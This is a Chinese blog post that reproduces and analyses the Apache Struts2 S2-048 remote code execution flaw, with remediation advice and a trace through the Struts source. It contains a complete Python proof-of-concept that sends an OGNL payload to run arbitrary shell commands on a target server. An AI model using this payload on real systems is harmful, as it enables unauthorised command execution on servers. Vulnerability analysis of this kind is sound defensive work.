struts2-048漏洞重现及分析报告 | LSABLOG

首页 » NetworkSec » Penetration » 正文

struts2-048漏洞重现及分析报告

0x01 概述

2017年7月,Tophant发现struts2 showcase应用中存在RCE漏洞,攻击者可以构造恶意输入通过struts2的struts1插件触发RCE,Struts2的struts1插件是为了兼容struts1。漏洞编号 s2-048 /CVE-2017-9791。

0x02 影响范围

Struts2.3.x并且启用了struts2-struts1-plugin(非默认)

0x03 POC

//此poc来源于https://github.com/jas502n/st2-048

import json,re
import requests
import threading
import urllib

def Poc(url,command):
    header = {'Content-Type': 'application/x-www-form-urlencoded'}
    poc = {"name":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=' \
                          "+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}","age":"1","__checkbox_bustedBefore":"true","description":"123123"}
    data = urllib.urlencode(poc)
    try:
        result = requests.post(url,data=data,headers=header)
        if result.status_code == 200:
            
            print result.content
    except requests.ConnectionError,e:
        print e

th = {"url":""}

while True:
    if th.get("url") != "":
        input_cmd = raw_input("cmd >>: ")
        if input_cmd == "exit":
            exit()
        elif input_cmd == 'set':
            url = raw_input("set url :")
            th['url'] = url
        elif input_cmd == 'show url':
            print th.get("url")
        else:
            Poc(th.get("url"),input_cmd)
    else:
        url = raw_input("set url :")
        th["url"] = url

0x04 环境搭建及效果演示

1.环境搭建:

win7+tomcat7+struts2.3.20+java1.8

把struts2-showcase.war复制到webapps目录。

访问

192.168.0.105:8080/struts2-showcase/integration/saveGangster.action

2.效果演示:

0x05 修复方案

1.通过使用 resourcekeys 替代将原始消息直接传递给 ActionMessage 的方式。如下所示:

messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));

一定不要使用如下的方式

messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));

2.停用struts2-struts1-plugin插件

3.升级到最新版本

0x06 漏洞分析

先看看官网的说明:

It is possible to perform a RCE attack with a malicious field value when using the Struts 2 Struts 1 plugin
and it’s a Struts 1 action and the value is a part of a message presented to the user,
i.e. when using untrusted input as a part of the error message in the ActionMessage class.

大意就是攻击者可以构造恶意输入通过struts1插件发起RCE,message的部分值来自用户输入,不信任的输入成为error message的一部分进入ActionMessage类。

那就找找是怎么进入ActionMessage的,

来看看SaveGangsterAction.java:

public class SaveGangsterAction extends Action {

    /* (non-Javadoc)
         * @see org.apache.struts.action.Action#execute(org.apache.struts.action.ActionMapping, org.apache.struts.action.ActionForm, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)
         */
    @Override
    public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {

        // Some code to save the gangster to the db as necessary
        GangsterForm gform = (GangsterForm) form;
        ActionMessages messages = new ActionMessages();
        messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " added successfully"));
        addMessages(request, messages);

        return mapping.findForward("success");
    }


}

可以看出gform.getName()可控。

再查看配置文件struts-integration.xml

找到

<action name="saveGangster" class="org.apache.struts2.s1.Struts1Action">
      <param name="className">org.apache.struts2.showcase.integration.SaveGangsterAction</param>
      <param name="validate">true</param>
      <result name="input">/WEB-INF/integration/modelDriven.jsp</result>
      <result>/WEB-INF/integration/modelDrivenResult.jsp</result>
    </action>

可以得出此漏洞的文件是Struts1Action.java

找到这个文件,关键代码:

public String execute() throws Exception {
        ActionContext ctx = ActionContext.getContext();
        ActionConfig actionConfig = ctx.getActionInvocation().getProxy().getConfig();
        Action action = null;
        try {
            action = (Action) objectFactory.buildBean(className, null);
        } catch (Exception e) {
            throw new StrutsException("Unable to create the legacy Struts Action", e, actionConfig);
        }
        
        // We should call setServlet() here, but let's stub that out later
        
        Struts1Factory strutsFactory = new Struts1Factory(Dispatcher.getInstance().getConfigurationManager().getConfiguration());
        ActionMapping mapping = strutsFactory.createActionMapping(actionConfig);
        HttpServletRequest request = ServletActionContext.getRequest();
        HttpServletResponse response = ServletActionContext.getResponse();
        ActionForward forward = action.execute(mapping, actionForm, request, response);
        
        ActionMessages messages = (ActionMessages) request.getAttribute(Globals.MESSAGE_KEY);
        if (messages != null) {
            for (Iterator i = messages.get(); i.hasNext(); ) {
                ActionMessage msg = (ActionMessage) i.next();
                if (msg.getValues() != null && msg.getValues().length > 0) {
                    addActionMessage(getText(msg.getKey(), Arrays.asList(msg.getValues())));
                } else {
                    addActionMessage(getText(msg.getKey()));
                }
            }
        }

先获取action,由上述可知classname就是SaveGangsterAction,接着调用了SaveGangsterAction的execute方法,先看看这个方法:
saveGangsterAction.java:

public class SaveGangsterAction extends Action {

    /* (non-Javadoc)
         * @see org.apache.struts.action.Action#execute(org.apache.struts.action.ActionMapping, org.apache.struts.action.ActionForm, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)
         */
    @Override
    public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {

        // Some code to save the gangster to the db as necessary
        GangsterForm gform = (GangsterForm) form;
        ActionMessages messages = new ActionMessages();
        messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " added successfully"));
        addMessages(request, messages);

        return mapping.findForward("success");
    }


}

这里message已经带上了恶意代码。

回到Struts1Action.java,通过标示从request中获取ActionMessage,接着判断messages是否为空,不空则进入getText(),来看看getText()的代码

ActionSupport.java:

  public String getText(String aTextName, String defaultValue, List<?> args) {
        return getTextProvider().getText(aTextName, defaultValue, args);
    }

再进入TextProviderSupport.getText(String key, String defaultValue, List<?> args) 方法

TextProviderSupport.java:

public String getText(String key, String defaultValue, List<?> args) {
        Object[] argsArray = ((args != null && !args.equals(Collections.emptyList())) ? args.toArray() : null);
        if (clazz != null) {
            return LocalizedTextUtil.findText(clazz, key, getLocale(), defaultValue, argsArray);
        } else {
            return LocalizedTextUtil.findText(bundle, key, getLocale(), defaultValue, argsArray);
        }
    }

又进去了findText()方法,继续跟进去看看

LocalizedTextUtil.java:

public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args,
                                  ValueStack valueStack) {
        String indexedTextName = null;
        if (aTextName == null) {
            if (LOG.isWarnEnabled()) {
            LOG.warn("Trying to find text with null key!");
            }
            aTextName = "";
        }
        // calculate indexedTextName (collection[*]) if applicable
        if (aTextName.contains("[")) {
            int i = -1;

            indexedTextName = aTextName;

            while ((i = indexedTextName.indexOf("[", i + 1)) != -1) {
                int j = indexedTextName.indexOf("]", i);
                String a = indexedTextName.substring(0, i);
                String b = indexedTextName.substring(j);
                indexedTextName = a + "[*" + b;
            }
        }

        // search up class hierarchy
        String msg = findMessage(aClass, aTextName, indexedTextName, locale, args, null, valueStack);

        if (msg != null) {
            return msg;
        }

        if (ModelDriven.class.isAssignableFrom(aClass)) {
            ActionContext context = ActionContext.getContext();
            // search up model's class hierarchy
            ActionInvocation actionInvocation = context.getActionInvocation();

            // ActionInvocation may be null if we're being run from a Sitemesh filter, so we won't get model texts if this is null
            if (actionInvocation != null) {
                Object action = actionInvocation.getAction();
                if (action instanceof ModelDriven) {
                    Object model = ((ModelDriven) action).getModel();
                    if (model != null) {
                        msg = findMessage(model.getClass(), aTextName, indexedTextName, locale, args, null, valueStack);
                        if (msg != null) {
                            return msg;
                        }
                    }
                }
            }
        }

        // nothing still? alright, search the package hierarchy now
        for (Class clazz = aClass;
             (clazz != null) && !clazz.equals(Object.class);
             clazz = clazz.getSuperclass()) {

            String basePackageName = clazz.getName();
            while (basePackageName.lastIndexOf('.') != -1) {
                basePackageName = basePackageName.substring(0, basePackageName.lastIndexOf('.'));
                String packageName = basePackageName + ".package";
                msg = getMessage(packageName, locale, aTextName, valueStack, args);

                if (msg != null) {
                    return msg;
                }

                if (indexedTextName != null) {
                    msg = getMessage(packageName, locale, indexedTextName, valueStack, args);

                    if (msg != null) {
                        return msg;
                    }
                }
            }
        }

        // see if it's a child property
        int idx = aTextName.indexOf(".");

        if (idx != -1) {
            String newKey = null;
            String prop = null;

            if (aTextName.startsWith(XWorkConverter.CONVERSION_ERROR_PROPERTY_PREFIX)) {
                idx = aTextName.indexOf(".", XWorkConverter.CONVERSION_ERROR_PROPERTY_PREFIX.length());

                if (idx != -1) {
                    prop = aTextName.substring(XWorkConverter.CONVERSION_ERROR_PROPERTY_PREFIX.length(), idx);
                    newKey = XWorkConverter.CONVERSION_ERROR_PROPERTY_PREFIX + aTextName.substring(idx + 1);
                }
            } else {
                prop = aTextName.substring(0, idx);
                newKey = aTextName.substring(idx + 1);
            }

            if (prop != null) {
                Object obj = valueStack.findValue(prop);
                try {
                    Object actionObj = ReflectionProviderFactory.getInstance().getRealTarget(prop, valueStack.getContext(), valueStack.getRoot());
                    if (actionObj != null) {
                        PropertyDescriptor propertyDescriptor = ReflectionProviderFactory.getInstance().getPropertyDescriptor(actionObj.getClass(), prop);

                        if (propertyDescriptor != null) {
                            Class clazz = propertyDescriptor.getPropertyType();

                            if (clazz != null) {
                                if (obj != null)
                                    valueStack.push(obj);
                                msg = findText(clazz, newKey, locale, null, args);
                                if (obj != null)
                                    valueStack.pop();

                                if (msg != null) {
                                    return msg;
                                }
                            }
                        }
                    }
                } catch (Exception e) {
                    LOG.debug("unable to find property " + prop, e);
                }
            }
        }

        // get default
        GetDefaultMessageReturnArg result;
        if (indexedTextName == null) {
            result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);
        } else {
            result = getDefaultMessage(aTextName, locale, valueStack, args, null);
            if (result != null && result.message != null) {
                return result.message;
            }
            result = getDefaultMessage(indexedTextName, locale, valueStack, args, defaultMessage);
        }

        // could we find the text, if not log a warn
        if (unableToFindTextForKey(result) && LOG.isDebugEnabled()) {
            String warn = "Unable to find text for key '" + aTextName + "' ";
            if (indexedTextName != null) {
                warn += " or indexed key '" + indexedTextName + "' ";
            }
            warn += "in class '" + aClass.getName() + "' and locale '" + locale + "'";
            LOG.debug(warn);
        }

        return result != null ? result.message : null;

又进去了getDefaultMessage(),继续冲啊!

private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args,
                                                                String defaultMessage) {
        GetDefaultMessageReturnArg result = null;
        boolean found = true;

        if (key != null) {
            String message = findDefaultText(key, locale);

            if (message == null) {
                message = defaultMessage;
                found = false; // not found in bundles
            }

            // defaultMessage may be null
            if (message != null) {
                MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);

                String msg = formatWithNullDetection(mf, args);
                result = new GetDefaultMessageReturnArg(msg, found);
            }
        }

        return result;
    }

终于看到translateVariables()了,一种似曾相识的感觉啊,没错就是那个能执行ognl的函数。

要收尾了,照例进去translateVariables()看看吧

TextParseUtil.java:

public static String translateVariables(String expression, ValueStack stack) {
        return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString();
    }

最终执行ognl,bug触发。

0x06 结语:

又是筛子王struts2,看到这个048,满满的熟悉的感觉,还是那个ognl,还是RCE,连payload都差不多,仅仅是触发点不一样,045在content-type,046在Content-Disposition,048在struts2-struts1-plugin。不过依旧是045犀利一点。

0x07 参考资料

1.http://www.freebuf.com/vuls/140410.html

2.http://blog.nsfocus.net/apache-struts2-remote-code-execution-vulnerability-s2-048-technical-analysis-protection-scheme/

3.http://bobao.360.cn/learning/detail/4078.html

4.http://blog.topsec.com.cn/ad_lab/strutss2-048远程命令执行漏洞分析/

Comment